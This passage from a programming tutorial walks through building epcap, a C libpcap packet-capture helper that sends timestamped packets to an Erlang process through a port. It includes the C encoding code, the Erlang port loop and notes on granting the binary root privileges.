    VERBOSE(2, "[%s] Using filter: %s\n", __progname, ep->filt);

    if (pcap_compile(ep->p, &fcode, ep->filt, 1 /* optimize == true */, ipmask) != 0) {
        VERBOSE(1, "pcap_compile: %s", pcap_geterr(ep->p));
        return (-1);
    }

    if (pcap_setfilter(ep->p, &fcode) != 0) {
        VERBOSE(EXIT_FAILURE, "pcap_setfilter: %s", pcap_geterr(ep->p));
        return (-1);
    }

    return (0);
}

Finally, we can just sit in a loop, pulling one packet from the queue. We use pcap_next() instead of pcap_loop() so that we can apply our own flow control, if necessary, in the future (sort of like {active,once}).

When a packet is sniffed, pcap returns 2 values to us: the packet itself and a struct with a timestamp, the length of the packet that was returned to us and the actual length of the packet on the wire (since the packet given to us may have been truncated).

At this point, we can test if packet dumps are working by printing out the ethernet header:

#include <net/ethernet.h>

<...>

    void
epcap_loop(pcap_t *p)
{
    <...>
    struct ether_header *eh = NULL;

    <...>
    eh = (struct ether_header *)pkt;

    (void)fprintf(stderr, "[shost]%02x:%02x:%02x:%02x:%02x:%02x\n", eh->ether_shost[0],
            eh->ether_shost[1], eh->ether_shost[2], eh->ether_shost[3],
            eh->ether_shost[4], eh->ether_shost[5]);

    <...>
}

Pulling all of this together and compiling should give something like:

[shost]00:1c:b3:xx:xx:xx
[shost]0:16:3e:xx:xx:xx
[shost]00:1c:b3:xx:xx:xx

Now we're ready to get to the interesting part: creating data for consumption by the erlang process.

void
epcap_response(const u_char *pkt, struct pcap_pkthdr *hdr)
{
    ei_x_buff msg;

    u_int16_t len = 0;


    /* [ */
    IS_FALSE(ei_x_new_with_version(&msg));
    IS_FALSE(ei_x_encode_list_header(&msg, 2));

    /* {time, {MegaSec, Sec, MicroSec}} */
    IS_FALSE(ei_x_encode_tuple_header(&msg, 2));
    IS_FALSE(ei_x_encode_atom(&msg, "time"));

    IS_FALSE(ei_x_encode_tuple_header(&msg, 3));
    IS_FALSE(ei_x_encode_long(&msg, abs(hdr->ts.tv_sec / 1000000)));
    IS_FALSE(ei_x_encode_long(&msg, hdr->ts.tv_sec % 1000000));
    IS_FALSE(ei_x_encode_long(&msg, hdr->ts.tv_usec));

    /* {packet, Packet} */
    IS_FALSE(ei_x_encode_tuple_header(&msg, 2));
    IS_FALSE(ei_x_encode_atom(&msg, "packet"));
    IS_FALSE(ei_x_encode_binary(&msg, pkt, hdr->caplen));

    /* ] */
    IS_FALSE(ei_x_encode_empty_list(&msg));

    len = htons(msg.index);
    if (write(fileno(stdout), &len, sizeof(len)) != sizeof(len))
        errx(EXIT_FAILURE, "write header failed");

    if (write(fileno(stdout), msg.buff, msg.index) != msg.index)
        errx(EXIT_FAILURE, "write packet failed: %d", msg.index);

    ei_x_free(&msg);
}

I'd like to send a list to the Erlang process consisting of a proplist of 2 tuples:

[{time, {MegaSeconds, Seconds, MicroSeconds}}, {packet, Packet}].

The timestamp is in the same format as erlang:now().

Creating the data structure is quite easy. ei functions come in statically and dynamically allocated versions. For creating the Erlang terms, the dynamic version is ideal.

After allocating an ei_x_buff struct, we add a version header. If we want to add a tuple, we add a tuple header with the appropriate arity and begin adding elements. If we want to add a nested tuple, it's as simple as sequentially adding another tuple header.

When calling the epcap binary, I allowed my login to run the binary as root using sudo:

$ visudo
myuser ALL = NOPASSWD: /path/to/epcap/epcap

Alternatively, you can put epcap in a directory owned by root and make epcap setuid (chown root:yourgroup epcap; chmod 4550 epcap). If you decide make epcap setuid, use a group to which your login is the only user.

The erlang port driver should be familiar from the trapexit tutorial.

start(PL) when is_list(PL) ->
    Args = make_args(PL),
    Port = Args,
    spawn_link(?MODULE, init, [self(), Port]).

init(Pid, ExtPrg) ->
    register(?MODULE, self()),
    process_flag(trap_exit, true),
    Port = open_port({spawn, ExtPrg}, [{packet, 2}, binary, exit_status]),
    loop(Pid, Port).

We take a proplist to set up the command line arguments for the C binary. We also pass in the calling processes pid, so messages can be sent back.

loop(Caller, Port) ->
    receive
        {Port, {data, Data}} ->
            Caller !  binary_to_term(Data),
            loop(Caller, Port);
        {Port, {exit_status, Status}} when Status > 128 ->
            io:format("Port terminated with signal: ~p~n", [Status - 128]),
            exit({port_terminated, Status});
        {Port, {exit_status, Status}} ->
            io:format("Port terminated with status: ~p~n", [Status]),
            exit({port_terminated, Status});
        {'EXIT', Port, Reason} ->
            exit(Reason);
        stop ->
            erlang:port_close(Port),
            exit(normal)
    end.

Like any other erlang process, messages from ports are captured using receive. We convert the message to erlang term format and send the message to the calling pid.
A process using epcap could work as follows:

epcap:start([{chroot, "/tmp/epcap"},{interface, "en1"}, {filter, "tcp and port 80"}]).
receive Any -> Any end.

Parsing and pretty printing the packets is covered here.